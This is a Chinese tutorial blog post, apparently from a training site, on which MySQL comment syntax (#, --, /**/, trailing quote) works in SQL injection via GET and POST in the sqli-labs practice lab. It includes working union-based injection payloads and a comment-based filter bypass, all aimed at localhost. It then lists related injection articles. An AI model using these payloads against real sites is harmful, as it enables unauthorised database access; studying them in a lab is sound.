以MySQL为例,首先我们知道mysql注释符有#、-- (后面有空格)、/**/三种,在SQL注入中经常用到,但是不一定都适用。笔者在sqlilabs通关过程中就遇到不同场景用的注释符不同,这让我很疑惑,让我们来深入挖掘一番(篇幅比较长,省时间可以跳到最后看结论)。

  以第一关(GET提交方式)和第十一关(POST提交方式)为例,从前端--数据传输--数据库查询命令三方面讲解:

目录(本文篇幅较长,点击目录跳转)

  在关卡源码中找到要执行的SQL语句,在下面加入以下代码,方便我们查看执行的SQL命令

echo "$sql<br>";

一、注释符:-- (后面有空格)(也就是--+)

  第一关(GET提交方式)

1.URL:

http://localhost/sqlilabs/Less-1/?id=-1' union select 1,2,database()--+

执行没问题,注意黄色SQL命令这里的--+变成了-- (后面有空格)

2.burpsuite:

传输过程对单引号还有空格进行了url编码

3.MySQL命令行:

将页面黄色命令复制到MySQL命令行,执行没问题,注意这里的--+变成了-- (后面有空格),即正确使用了注释符-- (后面有空格)

  第十一关(POST提交方式)

1.POST参数:

uname=vdf&passwd=-ad' union select 1,database()-- &submit=Submit

执行没问题

2.burpsuite:

因为是POST提交的数据,所以不用进行url编码,是POST原文

3.MySQL命令行:

执行没问题

二、注释符:#

  第一关(GET提交方式)

1.URL:

http://localhost/sqlilabs/Less-1/?id=-1' union select 1,2,database()#

执行命令提示语法错误,来传输过程看看经历了什么:

2.burpsuite:

传输过程对单引号还有空格进行了url编码。原来是#号没了,为什么呢?因为url中的#号代表html页面中的锚点,数据传输过程并不会一起带到后端

3.MySQL命令行:

上面说到,在前端页面执行语法错误了,那语法到底是哪错了?我们复制黄色命令在命令行执行了一下,提示少了一个单引号,就可以正常执行了,原来错误就在这里了,我们分析一波:

①url中#号作为锚点,不当做数据来传输

②命令传到后端,少了一个单引号用来闭合命令(我们可以利用这种特性,在url中命令结尾添加一个单引号来代替注释符,又一种方法get!)

解决办法:直接在url中使用#号有问题,就可以把#号转换成url编码(%23)就可以执行了

1.URL:

http://localhost/sqlilabs/Less-1/?id=-1' union select 1,2,database()%23

执行没问题

2.burpsuite:

传输过程对单引号还有空格进行了url编码

3.MySQL命令行:

执行没问题

同时得出传输过程结论:在前端注释符使用url编码,传输过程中把url编码带上,到后端就会进行一次url解码操作,#号注释符起作用。

  第十一关(POST提交方式)

1.POST参数:

uname=vdf&passwd=-ad' union select 1,database()#&submit=Submit

执行没问题

2.burpsuite:

因为是POST提交的数据,所以不用进行url编码,是POST原文

3.MySQL命令行:

执行没问题

三、注释符:/**/

因为注释符#、-- 都是把后面的语句全部注释掉了,而内联注释/**/则是注释指定部分,需要一前一后闭合,所以在传参那里几乎不做注释语句用,而是用于过滤空格等bypass,如:

?id=-1'/**/union/**/select/**/1,2,database()--+   //过滤空格,用/**/代替空格

其他注释方式

四、注释方式:payload结尾单引号闭合

  第一关(GET提交方式)

1.URL:

http://localhost/sqlilabs/Less-1/?id=-1' union select 1,2,database()'

执行没问题

2.burpsuite:

传输过程对单引号还有空格进行了url编码

3.MySQL命令行:

执行没问题

  第十一关(POST提交方式)

1.POST参数:

uname=vdf&passwd=-ad' union select 1,database()'&submit=Submit

执行没问题

2.burpsuite:

因为是POST提交的数据,所以不用进行url编码,是POST原文

3.MySQL命令行:

执行没问题

五、结论

(GET提交方式):

   -- (后面有空格)

   %23

  payload结尾单引号闭合

(POST提交方式):

   -- (后面有空格)

   #

   payload结尾单引号闭合

全文手打,各位看官觉得有用就点个赞呗

SQL注入注释符(#、-- 、/**/)使用条件及其他注释方式的探索的更多相关文章

  1. 转:攻击JavaWeb应用[3]-SQL注入

    转:http://static.hx99.net/static/drops/tips-236.html 攻击JavaWeb应用[3]-SQL注入 园长 · 2013/07/16 18:28 注:本节重 ...

  2. sql注入攻防 以php+mysql为例

    随着Web应用的高速发展和技术的不断成熟,对Web开发相关职位的需求量也越来越大,越来越多的人加入了Web开发的行列.但是由于程序员的水平参差不齐或是安全意识太低,很多程序员在编写代码时仅考虑了功能上 ...

  3. SQL注入的那些面试题总结

    一.知识储备类 1.SQL与NoSQL的区别? SQL:关系型数据库 NoSQL:非关系型数据库 存储方式:SQL具有特定的结构表,NoSQL存储方式灵活 性能:NoSQL较优于SQL 数据类型:SQ ...

  4. SQL注入攻防入门详解

    =============安全性篇目录============== 本文转载 毕业开始从事winfrm到今年转到 web ,在码农届已经足足混了快接近3年了,但是对安全方面的知识依旧薄弱,事实上是没机 ...

  5. SQL注入攻防入门详解(2)

    SQL注入攻防入门详解 =============安全性篇目录============== 毕业开始从事winfrm到今年转到 web ,在码农届已经足足混了快接近3年了,但是对安全方面的知识依旧薄弱 ...

  6. [转]SQL注入攻防入门详解

    原文地址:http://www.cnblogs.com/heyuquan/archive/2012/10/31/2748577.html =============安全性篇目录============ ...

  7. 开发反模式 - SQL注入

    一.目标:编写SQL动态查询 SQL常常和程序代码一起使用.我们通常所说的SQL动态查询,是指将程序中的变量和基本SQL语句拼接成一个完整的查询语句. string sql = SELECT * FR ...

  8. 【渗透攻防WEB篇】SQL注入攻击初级

    前言不管用什么语言编写的Web应用,它们都用一个共同点,具有交互性并且多数是数据库驱动.在网络中,数据库驱动的Web应用随处可见,由此而存在的SQL注入是影响企业运营且最具破坏性的漏洞之一,这里我想问 ...

  9. SQL注入理解与防御

    一.说明 sql注入可能是很多学习渗透测试的人接触的第一类漏洞,这很正常因为sql注入可能是web最经典的漏洞.但在很多教程中有的只讲‘或and 1=1.and 1=2有的可能会进一步讲union s ...

  10. Sql注入的分类:数字型+字符型

    Sql注入: 就是通过把SQL命令插入到Web表单提交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令.通过构造恶意的输入,使数据库执行恶意命令,造成数据泄露或者修改内容等,以 ...

随机推荐

  1. CNN结构演变总结(三)设计原则

    CNN结构演变总结(一)经典模型 CNN结构演变总结(二)轻量化模型 前言: 前两篇对一些经典模型和轻量化模型关于结构设计方面的一些创新进行了总结,在本文将对前面的一些结构设计的原则,作用进行总结. ...

  2. 【docker】删除docker中的运行日志

    docker inspect --format='{{.LogPath}}' 容器名称 |sudo  xargs -i rm {}

  3. POJ - 1163 The Triangle 【动态规划】

    一.题目 The Triangle 二.分析 动态规划入门题. 状态转移方程$$DP[i][j] = A[i][j] + max(DP[i-1][j], DP[i][j])$$ 三.AC代码 1 #i ...

  4. Python-jet后台管理的使用

    python-django-jet库的使用 1.安装 pip install django-jet 2.配置 将'jet'应用添加到你的Django项目的设置文件settings.py中的INSTAL ...

  5. python创建一个二维列表

    方法一:利用for-in语句来生成一个二维列表 a = [] 2 for i in range(10): 3 a.append([]) 4 for j in range(10): 5 a[i].app ...

  6. 《逆向工程核心原理》——DLL注入与卸载

    利用CreateRemoteThread #include <iostream> #include <tchar.h> #include <Windows.h> # ...

  7. 攻防世界 reverse reverse-for-the-holy-grail-350

    reverse-for-the-holy-grail-350   tu-ctf-2016 程序流程很简单,就一个检验函数: 1 __int64 __fastcall stringMod(__int64 ...

  8. ASP.NET Core依赖注入初识与思考

    文章首发地址 一.前言 在上一篇中,我们讲述了什么是控制反转(IoC)以及通过哪些方式实现的.这其中,我们明白了,控制反转(IoC) 是一种软件设计的模式,指导我们设计出更优良,更具有松耦合的程序,而 ...

  9. SCIP:构造过程抽象--面向对象的解释

    心智的活动,除了尽力产生各种简单的认知之外,主要表现为如下三个方面:(1)将若干简单认知组合为一个复合的认识,由此产出各种复杂的认知.(2)将两个认知放在一起对照,不管他们如何简单或者复杂,在这样做时 ...

  10. 快速了解Web MVC设计模式

    MVC概述 MVC即 Model-View-Controller 的缩写,是按照职责划分模块一种设计模式,其中Model是核心. Model:模型.负责执行实际的业务,包含数据操作,可以向视图推送数据 ...